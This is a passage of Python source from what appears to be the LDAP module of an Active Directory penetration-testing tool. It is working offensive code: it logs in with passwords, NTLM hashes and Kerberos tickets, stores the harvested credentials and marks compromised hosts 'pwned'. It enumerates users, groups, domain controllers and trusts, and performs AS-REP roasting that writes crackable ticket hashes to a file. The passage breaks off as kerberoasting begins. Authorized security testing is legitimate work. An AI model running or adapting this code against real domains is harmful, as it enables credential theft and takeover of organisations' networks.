"protocol": "LDAP", "host": self.host, "port": self.port, "hostname": self.hostname, } ) def create_conn_obj(self): try: proto = "ldaps" if self.port == 636 else "ldap" ldap_url = f"{proto}://{self.host}" self.logger.info(f"Connecting to {ldap_url} with no baseDN") self.ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host) if self.ldap_connection: self.logger.debug(f"ldap_connection: {self.ldap_connection}") except SysCallError as e: if proto == "ldaps": self.logger.fail(f"LDAPs connection to {ldap_url} failed - {e}") # https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/enable-ldap-over-ssl-3rd-certification-authority self.logger.fail("Even if the port is open, LDAPS may not be configured") else: self.logger.fail(f"LDAP connection to {ldap_url} failed: {e}") return False except ConnectionRefusedError as e: self.logger.debug(f"{e} on host {self.host}") return False except OSError as e: if e.errno in (EHOSTUNREACH, ENETUNREACH, ETIMEDOUT): self.logger.info(f"Error connecting to {self.host}: {e}") return False else: self.logger.error(f"Error connecting to {self.host}: {e}") return False return True def get_ldap_username(self): extended_request = ldapasn1_impacket.ExtendedRequest() extended_request["requestName"] = "1.3.6.1.4.1.4203.1.11.3" # whoami response = self.ldap_connection.sendReceive(extended_request) for message in response: search_result = message["protocolOp"].getComponent() if search_result["resultCode"] == ldapasn1_impacket.ResultCode("success"): response_value = search_result["responseValue"] if response_value.hasValue(): value = response_value.asOctets().decode(response_value.encoding)[2:] return value.split("\\")[1] return "" def check_ldap_signing(self): self.signing_required = False ldap_url = f"ldap://{self.target}" try: ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=False) ldap_connection.login(domain=self.domain) self.logger.debug(f"LDAP signing is not enforced on {self.host}") except ldap_impacket.LDAPSessionError as e: if str(e).find("strongerAuthRequired") >= 0: self.logger.debug(f"LDAP signing is enforced on {self.host}") self.signing_required = True else: self.logger.debug(f"LDAPSessionError while checking for signing requirements (likely NTLM disabled): {e!s}") def check_ldaps_cbt(self): self.cbt_status = "Never" ldap_url = f"ldaps://{self.target}" try: ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) ldap_connection.channel_binding_value = None ldap_connection.login(user=" ", domain=self.domain) except ldap_impacket.LDAPSessionError as e: if str(e).find("data 80090346") >= 0: self.logger.debug(f"LDAPS channel binding enforced on host {self.host}") self.cbt_status = "Always" # CBT is Required # Login failed (wrong credentials). test if we get an error with an existing, but wrong CBT -> When supported elif str(e).find("data 52e") >= 0: ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) new_cbv = bytearray(ldap_connection.channel_binding_value) new_cbv[15] = (new_cbv[3] + 1) % 256 ldap_connection.channel_binding_value = bytes(new_cbv) try: ldap_connection.login(user=" ", domain=self.domain) except ldap_impacket.LDAPSessionError as e: if str(e).find("data 80090346") >= 0: self.logger.debug(f"LDAPS channel binding is set to 'When Supported' on host {self.host}") self.cbt_status = "When Supported" # CBT is When Supported else: self.logger.debug(f"LDAPSessionError while checking for channel binding requirements (likely NTLM disabled): {e!s}") except SysCallError as e: self.logger.debug(f"Received SysCallError when trying to enumerate channel binding support: {e!s}") if e.args[1] in ["ECONNRESET", "WSAECONNRESET", "Unexpected EOF"]: self.cbt_status = "No TLS cert" else: raise def enum_host_info(self): # Enumerate LDAP info target = "" target_domain = "" base_dn = "" try: resp = self.ldap_connection.search( scope=ldapasn1_impacket.Scope("baseObject"), attributes=["dnsHostName", "defaultNamingContext", "configurationNamingContext", "rootDomainNamingContext"], sizeLimit=0, ) resp_parsed = parse_result_attributes(resp)[0] self.configuration_context = resp_parsed["configurationNamingContext"] self.forestDN = resp_parsed["rootDomainNamingContext"] target = resp_parsed["dnsHostName"] base_dn = resp_parsed["defaultNamingContext"] target_domain = sub( r",DC=", ".", base_dn[base_dn.lower().find("dc="):], flags=IGNORECASE, )[3:] except Exception as e: self.logger.fail(f"Failed to enumerate host info for {self.host}, error: {e!s}") self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}") self.target = target self.targetDomain = target_domain self.baseDN = base_dn # Parse hostname and remoteName self.hostname = self.target.split(".")[0].upper() if "." in self.target else self.target self.remoteName = self.target # Parse NTLM challenge ntlm_challenge = None bindRequest = ldapasn1_impacket.BindRequest() bindRequest["version"] = 3 bindRequest["name"] = "" negotiate = getNTLMSSPType1() bindRequest["authentication"]["sicilyNegotiate"] = negotiate.getData() try: response = self.ldap_connection.sendReceive(bindRequest)[0]["protocolOp"] ntlm_challenge = bytes(response["bindResponse"]["matchedDN"]) except Exception as e: self.logger.debug(f"Failed to get target {self.host} ntlm challenge, error: {e!s}") if ntlm_challenge: ntlm_info = parse_challenge(ntlm_challenge) self.server_os = ntlm_info["os_version"] else: self.no_ntlm = True if self.args.domain: self.domain = self.args.domain elif self.args.use_kcache: # Fixing domain trust, just pull the auth domain out of the ticket self.domain = CCache.parseFile()[0] self.username = CCache.parseFile()[1] else: self.domain = self.targetDomain self.check_ldap_signing() if getattr(self.args, "port_explicitly_set", False) and self.port == 389: self.cbt_status = "Unknown" else: self.check_ldaps_cbt() # using kdcHost is buggy on impacket when using trust relation between ad so we kdcHost must stay to none if targetdomain is not equal to domain if not self.kdcHost and self.domain and self.domain == self.targetDomain: result = self.resolver(self.domain) self.kdcHost = result["host"] if result else None self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}") try: self.db.add_host( self.host, self.hostname, self.domain, self.server_os, self.signing_required, self.cbt_status ) except Exception as e: self.logger.debug(f"Error adding host {self.host} into db: {e!s}") def print_host_info(self): self.logger.debug("Printing host info for LDAP") signing = colored("signing:Enforced", host_info_colors[0], attrs=["bold"]) if self.signing_required else colored("signing:None", host_info_colors[1], attrs=["bold"]) cbt_status = colored(f"channel binding:{self.cbt_status}", host_info_colors[3], attrs=["bold"]) if self.cbt_status == "Always" else colored(f"channel binding:{self.cbt_status}", host_info_colors[2], attrs=["bold"]) ntlm = colored(f"(NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else "" self.logger.extra["protocol"] = "LDAP" if str(self.port) == "389" else "LDAPS" self.logger.extra["port"] = self.port self.logger.extra["hostname"] = self.hostname self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain}) ({signing}) ({cbt_status}) {ntlm}") def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): if self.auth_choice == "simple": self.logger.fail("Simple bind and Kerberos authentication are mutually exclusive.") return False self.username = username if not self.args.use_kcache else self.username # With ccache we get the username from the ticket self.password = password self.domain = domain self.kdcHost = kdcHost self.aesKey = aesKey lmhash = "" nthash = "" # This checks to see if we didn't provide the LM Hash if ntlm_hash.find(":") != -1: lmhash, nthash = ntlm_hash.split(":") self.hash = nthash else: nthash = ntlm_hash self.hash = ntlm_hash if lmhash: self.lmhash = lmhash if nthash: self.nthash = nthash if self.username and self.password == "" and self.args.asreproast: hash_tgt = KerberosAttacks(self).get_tgt_asroast(self.username) if hash_tgt: self.logger.highlight(f"{hash_tgt}") with open(self.args.asreproast, "a+") as hash_asreproast: hash_asreproast.write(f"{hash_tgt}\n") return False kerb_pass = next(s for s in [self.nthash, password, aesKey] if s) if not all(s == "" for s in [self.nthash, password, aesKey]) else "" try: # Connect to LDAP self.logger.extra["protocol"] = "LDAPS" if self.port == 636 else "LDAP" self.logger.extra["port"] = "636" if self.port == 636 else "389" proto = "ldaps" if self.port == 636 else "ldap" ldap_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [1]") self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache) if self.username == "": self.username = self.get_ldap_username() self.check_if_admin() if password: self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") self.db.add_credential("plaintext", domain, self.username, self.password) elif ntlm_hash: self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}") self.db.add_credential("hash", domain, self.username, self.hash) used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" self.logger.success(f"{domain}\\{self.username}{used_ccache} {self.mark_pwned()}") if self.username != "": add_user_bh(self.username, self.domain, self.logger, self.config) if self.admin_privs: add_user_bh(f"{self.hostname}$", domain, self.logger, self.config) return True except SessionKeyDecryptionError: # for PRE-AUTH account self.logger.success( f"{domain}\\{self.username}{' account vulnerable to asreproast attack'} {''}", color="yellow", ) # If no preauth is set, we want to be able to execute commands such as --kerberoasting if self.args.no_preauth_targets: # noqa: SIM103 return True else: return False except SessionError as e: error, desc = e.getErrorString() used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" self.logger.fail( f"{self.domain}\\{self.username}{used_ccache} {error!s}", color="magenta" if error in ldap_error_status else "red", ) return False except (KeyError, KerberosException, OSError) as e: self.logger.fail( f"{self.domain}\\{self.username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} {e!s}", color="red", ) return False except ldap_impacket.LDAPSessionError as e: if str(e).find("strongerAuthRequired") >= 0: # This should actually not happen anymore as impacket now supports LDAP signing/sealing via GSSAPI self.logger.error("StrongerAuthRequired Error on login: This should not happen anymore, please contact the devs and open an issue on github!") # We need to try SSL try: # Connect to LDAPS self.logger.extra["protocol"] = "LDAPS" self.logger.extra["port"] = "636" self.port = 636 ldaps_url = f"ldaps://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [2]") self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache) if self.username == "": self.username = self.get_ldap_username() self.check_if_admin() if password: self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") self.db.add_credential("plaintext", domain, self.username, self.password) elif ntlm_hash: self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}") self.db.add_credential("hash", domain, self.username, self.hash) # Prepare success credential text self.logger.success(f"{domain}\\{self.username} {self.mark_pwned()}") if self.username != "": add_user_bh(self.username, self.domain, self.logger, self.config) if self.admin_privs: add_user_bh(f"{self.hostname}$", domain, self.logger, self.config) return True except SessionError as e: error, desc = e.getErrorString() self.logger.fail( f"{self.domain}\\{self.username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} {error!s}", color="magenta" if error in ldap_error_status else "red", ) return False except Exception as e: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status.get(error_code, '')}", color="magenta" if error_code in ldap_error_status else "red", ) return False else: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} {error_code!s}", color="magenta" if error_code in ldap_error_status else "red", ) return False def plaintext_login(self, domain, username, password): self.username = username self.password = password self.domain = domain if self.username and self.password == "" and self.args.asreproast: hash_tgt = KerberosAttacks(self).get_tgt_asroast(self.username) if hash_tgt: self.logger.highlight(f"{hash_tgt}") with open(self.args.asreproast, "a+") as hash_asreproast: hash_asreproast.write(f"{hash_tgt}\n") return False try: # Connect to LDAP self.logger.extra["protocol"] = "LDAPS" if self.port == 636 else "LDAP" self.logger.extra["port"] = "636" if self.port == 636 else "389" proto = "ldaps" if self.port == 636 else "ldap" ldap_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [3]") self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=self.auth_choice != "simple") self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=self.auth_choice) self.check_if_admin() self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") self.db.add_credential("plaintext", domain, self.username, self.password) # Prepare success credential text self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}") if self.username != "": add_user_bh(self.username, self.domain, self.logger, self.config) if self.admin_privs: add_user_bh(f"{self.hostname}$", domain, self.logger, self.config) return True except ldap_impacket.LDAPSessionError as e: if str(e).find("strongerAuthRequired") >= 0: # This should actually not happen anymore as impacket now supports LDAP signing/sealing via GSSAPI if self.args.simple_bind: self.logger.fail("StrongerAuthRequired error on login: SIMPLE bind cannot work with signing/sealing enforced. Falling back to LDAPS.") else: self.logger.error("StrongerAuthRequired error on login: This should not happen anymore, please contact the devs and open an issue on github!") # We need to try SSL try: # Connect to LDAPS self.logger.extra["protocol"] = "LDAPS" self.logger.extra["port"] = "636" self.port = 636 ldaps_url = f"ldaps://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [4]") self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=self.auth_choice) self.check_if_admin() self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") self.db.add_credential("plaintext", domain, self.username, self.password) # Prepare success credential text self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}") if self.username != "": add_user_bh(self.username, self.domain, self.logger, self.config) if self.admin_privs: add_user_bh(f"{self.hostname}$", domain, self.logger, self.config) return True except Exception as e: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status.get(error_code, '')}", color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", ) else: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status.get(error_code, '')}", color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", ) return False except OSError as e: self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}") return False def hash_login(self, domain, username, ntlm_hash): self.logger.extra["protocol"] = "LDAP" self.logger.extra["port"] = "389" lmhash = "" nthash = "" # This checks to see if we didn't provide the LM Hash if ntlm_hash.find(":") != -1: lmhash, nthash = ntlm_hash.split(":") else: nthash = ntlm_hash self.hash = ntlm_hash if lmhash: self.lmhash = lmhash if nthash: self.nthash = nthash self.username = username self.domain = domain if self.username and self.hash == "" and self.args.asreproast: hash_tgt = KerberosAttacks(self).get_tgt_asroast(self.username) if hash_tgt: self.logger.highlight(f"{hash_tgt}") with open(self.args.asreproast, "a+") as hash_asreproast: hash_asreproast.write(f"{hash_tgt}\n") return False try: # Connect to LDAP self.logger.extra["protocol"] = "LDAPS" if self.port == 636 else "LDAP" self.logger.extra["port"] = "636" if self.port == 636 else "389" proto = "ldaps" if self.port == 636 else "ldap" ldaps_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}") self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}") self.db.add_credential("hash", domain, self.username, self.hash) # Prepare success credential text out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}" self.logger.success(out) if self.username != "": add_user_bh(self.username, self.domain, self.logger, self.config) if self.admin_privs: add_user_bh(f"{self.hostname}$", domain, self.logger, self.config) return True except ldap_impacket.LDAPSessionError as e: if str(e).find("strongerAuthRequired") >= 0: # This should actually not happen anymore as impacket now supports LDAP signing/sealing via GSSAPI self.logger.error("StrongerAuthRequired error on login: This should not happen anymore, please contact the devs and open an issue on github!") try: # We need to try SSL self.logger.extra["protocol"] = "LDAPS" self.logger.extra["port"] = "636" self.port = 636 ldaps_url = f"ldaps://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}") self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}") self.db.add_credential("hash", domain, self.username, self.hash) # Prepare success credential text out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}" self.logger.success(out) if self.username != "": add_user_bh(self.username, self.domain, self.logger, self.config) if self.admin_privs: add_user_bh(f"{self.hostname}$", domain, self.logger, self.config) return True except ldap_impacket.LDAPSessionError as e: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status.get(error_code, '')}", color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", ) else: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status.get(error_code, '')}", color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", ) return False except OSError as e: self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}") return False def get_sid(self): self.logger.highlight(f"Domain SID {self.sid_domain}") def check_if_admin(self): # 1. get SID of the domaine search_filter = f"(userAccountControl:1.2.840.113556.1.4.803:={UF_SERVER_TRUST_ACCOUNT})" attributes = ["objectSid"] resp = self.search(search_filter, attributes, baseDN=self.baseDN) resp_parsed = parse_result_attributes(resp) if resp and (self.password != "" or self.lmhash != "" or self.nthash != "" or self.aesKey != "" or self.use_kcache) and self.username != "": for item in resp_parsed: self.sid_domain = "-".join(item["objectSid"].split("-")[:-1]) # 2. get all group cn name search_filter = (f"(|(objectSid={self.sid_domain}-512)" f"(objectSid={self.sid_domain}-519)" f"(objectSid={self.sid_domain}-544)" "(objectSid=S-1-5-32-549)" "(objectSid=S-1-5-32-551))") attributes = ["distinguishedName"] resp = self.search(search_filter, attributes, baseDN=self.baseDN) resp_parsed = parse_result_attributes(resp) answers = [f"(memberOf:1.2.840.113556.1.4.1941:={item['distinguishedName']})" for item in resp_parsed] if len(answers) == 0: self.logger.debug("No groups with default privileged RID were found. Assuming user is not a Domain Administrator.") return # 3. Build a filter to query if the primaryGroupID is one of these groups group_ids = ["512", "519", "544", "549", "551"] primaryGroupID_filters = [f"(primaryGroupID={group_id})" for group_id in group_ids] answers.extend(primaryGroupID_filters) # 4. Check if the user is member of one of these groups OR has one of these primaryGroupID search_filter = f"(&(objectCategory=user)(sAMAccountName={self.username})(|{''.join(answers)}))" resp = self.search(search_filter, attributes=[], baseDN=self.baseDN) resp_parsed = parse_result_attributes(resp) for item in resp_parsed: if item: self.admin_privs = True def getUnixTime(self, t): t -= 116444736000000000 t /= 10000000 return t def search(self, searchFilter, attributes, sizeLimit=0, baseDN=None, searchControls=None) -> list: if baseDN is None and self.args.base_dn is not None: baseDN = self.args.base_dn elif baseDN is None: baseDN = self.baseDN try: if self.ldap_connection: self.logger.debug(f"Search Filter={searchFilter}") # Microsoft Active Directory set an hard limit of 1000 entries returned by any search paged_search_control = [ldapasn1_impacket.SimplePagedResultsControl(criticality=True, size=1000)] if not self.no_ntlm else "" return self.ldap_connection.search( scope=self.scope, searchBase=baseDN, searchFilter=searchFilter, attributes=attributes, sizeLimit=sizeLimit, searchControls=searchControls if searchControls else paged_search_control, ) except ldap_impacket.LDAPSearchError as e: if "sizeLimitExceeded" in str(e): # We should never reach this code as we use paged search now self.logger.fail("sizeLimitExceeded exception caught, giving up and processing the data received") e.getAnswers() # if empty username and password is possible that we need to change the scope, we try with a baseObject before returning a fail elif "operationsError" in str(e) and self.scope is None and self.username == "" and self.password == "": self.scope = ldapasn1_impacket.Scope("baseObject") return self.search(searchFilter, attributes, sizeLimit, baseDN) else: self.logger.fail(e) return [] return [] def users(self): """ Retrieves user information from the LDAP server. Args: ---- input_attributes (list): Optional. List of attributes to retrieve for each user. Returns: ------- None """ if self.args.users: self.logger.debug(f"Dumping users: {', '.join(self.args.users)}") search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.users)})" else: self.logger.debug("Trying to dump all users") search_filter = "(sAMAccountType=805306368)" # Default to these attributes to mirror the SMB --users functionality request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet"] resp = self.search(search_filter, request_attributes, sizeLimit=0) users = [] if resp: resp_parsed = parse_result_attributes(resp) # We print the total records after we parse the results since often SearchResultReferences are returned self.logger.display(f"Enumerated {len(resp_parsed):d} domain users: {self.domain}") self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}") for user in resp_parsed: pwd_last_set = user.get("pwdLastSet", "") if pwd_last_set: pwd_last_set = "" if pwd_last_set == "0" else datetime.fromtimestamp(self.getUnixTime(int(pwd_last_set))).strftime("%Y-%m-%d %H:%M:%S") # We default attributes to blank strings if they don't exist in the dict self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<9}{user.get('description', ''):<60}") users.append(user.get("sAMAccountName", "")) if self.args.users_export: self.logger.display(f"Writing {len(resp_parsed):d} local users to {self.args.users_export}") with open(self.args.users_export, "w+") as file: file.writelines(f"{user}\n" for user in users) def users_export(self): self.users() def groups(self): # Building the search filter if self.args.groups: self.logger.debug(f"Dumping group: {self.args.groups}") # Resolve group DN and primaryGroupID (objectSid) group_resp = self.search(f"(cn={self.args.groups})", ["distinguishedName", "objectSid"]) group_parsed = parse_result_attributes(group_resp) if not group_parsed: self.logger.fail(f"Group '{self.args.groups}' not found") return else: group = group_parsed[0] # Search filter: user must have membership OR primaryGroupID search_filter = f"(|(memberOf={group['distinguishedName']})(primaryGroupID={group['objectSid'].split('-')[-1]}))" attributes = ["sAMAccountName", "distinguishedName", "cn", "objectClass"] else: search_filter = "(objectCategory=group)" attributes = ["cn", "member", "description"] resp = self.search(search_filter, attributes) resp_parsed = parse_result_attributes(resp) self.logger.debug(f"Total of records returned {len(resp_parsed)}") if self.args.groups: # Display group members if not resp_parsed: self.logger.fail(f"Group '{self.args.groups}' has no members") else: for item in resp_parsed: # Display sAMAccountName or CN if sAMAccountName not present (could be a group) self.logger.highlight(item["sAMAccountName"] if "group" not in item["objectClass"] else item["cn"]) else: # Display all groups self.logger.highlight(f"{'-Group-':<40} {'-Members-':<9} {'-Description-':<60}") for item in resp_parsed: try: # Fix if group has only one member if not isinstance(item.get("member", []), list): item["member"] = [item["member"]] self.logger.highlight(f"{item['cn']:<40} {len(item.get('member', [])):<9} {item.get('description', '')}") except Exception as e: self.logger.debug("Exception:", exc_info=True) self.logger.debug(f"Skipping item, cannot process due to error {e}") def computers(self): resp = self.search(f"(sAMAccountType={SAM_MACHINE_ACCOUNT})", ["sAMAccountName"]) resp_parsed = parse_result_attributes(resp) if resp: self.logger.display(f"Total records returned: {len(resp_parsed)}") for item in resp_parsed: self.logger.highlight(item["sAMAccountName"]) def dc_list(self): # bypass host resolver configuration via configure=False (default pulls from /etc/resolv.conf or registry on Windows) resolv = resolver.Resolver(configure=False) ns = self.args.dns_server or self.host resolv.nameservers = [socket.gethostbyname(ns)] self.logger.debug(f"DNS Server option: {self.args.dns_server}, using DNS server: {resolv.nameservers}") resolv.timeout = self.args.dns_timeout def resolve_and_display_hostname(name, domain_name=None): prefix = f"[{domain_name}] " if domain_name else "" try: # Resolve using DNS server for A, AAAA, CNAME, PTR, and NS records for record_type in ["A", "AAAA", "CNAME", "PTR", "NS"]: try: answers = resolv.resolve(name, record_type, tcp=self.args.dns_tcp) for rdata in answers: if record_type in ["A", "AAAA"]: ip_address = rdata.to_text() self.logger.highlight(f"{prefix}{name} = {colored(ip_address, host_info_colors[0])}") return elif record_type == "CNAME": self.logger.highlight(f"{prefix}{name} CNAME = {colored(rdata.to_text(), host_info_colors[0])}") return elif record_type == "PTR": self.logger.highlight(f"{prefix}{name} PTR = {colored(rdata.to_text(), host_info_colors[0])}") return elif record_type == "NS": self.logger.highlight(f"{prefix}{name} NS = {colored(rdata.to_text(), host_info_colors[0])}") return except resolver.NXDOMAIN: self.logger.fail(f"{prefix}{name} ({record_type}) = Host not found (NXDOMAIN)") except resolver.Timeout: self.logger.fail(f"{prefix}{name} ({record_type}) = Connection timed out") except resolver.NoAnswer: self.logger.fail(f"{prefix}{name} ({record_type}) = DNS server did not respond") except resolver.NoNameservers: self.logger.fail(f"{prefix}{name} ({record_type}) = No nameservers available") except Exception as e: self.logger.fail(f"{prefix}{name} ({record_type}) encountered an unexpected error: {e}") except Exception as e: self.logger.fail(f"Skipping item(dNSHostName) {prefix}{name}, error: {e}") # Find all domain controllers in the current domain self.logger.info("Enumerating Domain Controllers in current domain...") search_filter = "(&(objectCategory=computer)(primaryGroupId=516))" attributes = ["dNSHostName"] resp = self.search(search_filter, attributes) resp_parse = parse_result_attributes(resp) for item in resp_parse: if "dNSHostName" in item: # Get dNSHostName attribute name = item["dNSHostName"] resolve_and_display_hostname(name) # Find all trusted domains self.logger.info("Enumerating Trusted Domains...") search_filter = "(objectClass=trustedDomain)" attributes = ["name", "trustDirection", "trustType", "trustAttributes", "flatName"] resp = self.search(search_filter, attributes, 0) trust_resp_parse = parse_result_attributes(resp) for trust in trust_resp_parse: try: trust_name = trust["name"] trust_flat_name = trust["flatName"] trust_direction = int(trust["trustDirection"]) trust_type = int(trust["trustType"]) trust_attributes = int(trust["trustAttributes"]) # See: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/e9a2d23c-c31e-4a6f-88a0-6646fdb51a3c trust_attribute_flags = { 0x1: "Non-Transitive", 0x2: "Uplevel-Only", 0x4: "Quarantined Domain", 0x8: "Forest Transitive", 0x10: "Cross Organization", 0x20: "Within Forest", 0x40: "Treat as External", 0x80: "Uses RC4 Encryption", 0x200: "Cross Organization No TGT Delegation", 0x800: "Cross Organization Enable TGT Delegation", 0x2000: "PAM Trust" } # For check if multiple posibble flags, like Uplevel-Only, Treat as External trust_attributes_text = ", ".join( text for flag, text in trust_attribute_flags.items() if trust_attributes & flag ) or "Other" # If Trust attrs not known # Convert trust direction/type to human-readable format direction_text = { 0: "Disabled", 1: "Inbound", 2: "Outbound", 3: "Bidirectional", }[trust_direction] trust_type_text = { 1: "Windows NT", 2: "Active Directory", 3: "Kerberos", 4: "Unknown", 5: "Azure Active Directory", }[trust_type] self.logger.info(f"Processing trusted domain: {trust_name} ({trust_flat_name})") self.logger.info(f"Trust type: {trust_type_text}, Direction: {direction_text}, Trust Attributes: {trust_attributes_text}") except Exception as e: self.logger.fail(f"Failed {e} in trust entry: {trust}") # Only process if it's an Active Directory trust if int(trust_type) == 2: # Try to find domain controllers in trusted domain using DNS # Check if we can resolve the trusted domain's DC using DNS dc_dns_name = f"_ldap._tcp.dc._msdcs.{trust_name}" try: srv_records = resolv.resolve(dc_dns_name, "SRV", tcp=self.args.dns_tcp) self.logger.info(f"Found domain controllers for trusted domain {trust_name} via DNS:") for srv in srv_records: dc_hostname = str(srv.target).rstrip(".") self.logger.success(f"Found DC in trusted domain: {colored(dc_hostname, host_info_colors[0], attrs=['bold'])}") self.logger.highlight(f"{trust_name} -> {direction_text} -> {trust_attributes_text}") resolve_and_display_hostname(dc_hostname) except Exception as e: self.logger.fail(f"Failed to resolve DCs for {trust_name} via DNS: {e}") else: self.logger.display(f"Skipping non-Active Directory trust '{trust_name}' with type: {trust_type_text} and direction: {direction_text}") self.logger.info("Domain Controller enumeration complete.") def active_users(self): if len(self.args.active_users) > 0: self.logger.debug(f"Dumping users: {', '.join(self.args.active_users)}") search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.active_users)})" else: self.logger.debug("Trying to dump all users") search_filter = "(sAMAccountType=805306368)" # Default to these attributes to mirror the SMB --users functionality request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet", "userAccountControl"] resp = self.search(search_filter, request_attributes, sizeLimit=0) if resp: all_users = parse_result_attributes(resp) # Filter disabled users (ignore accounts without userAccountControl value) active_users = [user for user in all_users if not (int(user.get("userAccountControl", UF_ACCOUNTDISABLE)) & UF_ACCOUNTDISABLE)] self.logger.display(f"Total records returned: {len(all_users)}, total {len(all_users) - len(active_users):d} user(s) disabled") self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}") for user in active_users: pwd_last_set = user.get("pwdLastSet", "") if pwd_last_set: pwd_last_set = "" if pwd_last_set == "0" else datetime.fromtimestamp(self.getUnixTime(int(pwd_last_set))).strftime("%Y-%m-%d %H:%M:%S") self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<9}{user.get('description', '')}") def asreproast(self): # Building the search filter search_filter = f"(&(UserAccountControl:1.2.840.113556.1.4.803:={UF_DONT_REQUIRE_PREAUTH})(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_ACCOUNTDISABLE}))(!(objectCategory=computer)))" resp = self.search(search_filter, attributes=["sAMAccountName"], sizeLimit=0) resp_parsed = parse_result_attributes(resp) if not resp_parsed: self.logger.highlight("No entries found!") else: self.logger.display(f"Total of records returned {len(resp_parsed)}") for user in resp_parsed: hash_TGT = KerberosAttacks(self).get_tgt_asroast(user["sAMAccountName"]) if hash_TGT: self.logger.highlight(f"{hash_TGT}") with open(self.args.asreproast, "a+") as hash_asreproast: hash_asreproast.write(f"{hash_TGT}\n") def kerberoasting(self): if self.args.no_preauth_targets: usernames = [] for item in self.args.no_preauth_targets: if os.path.isfile(item): with open(item, 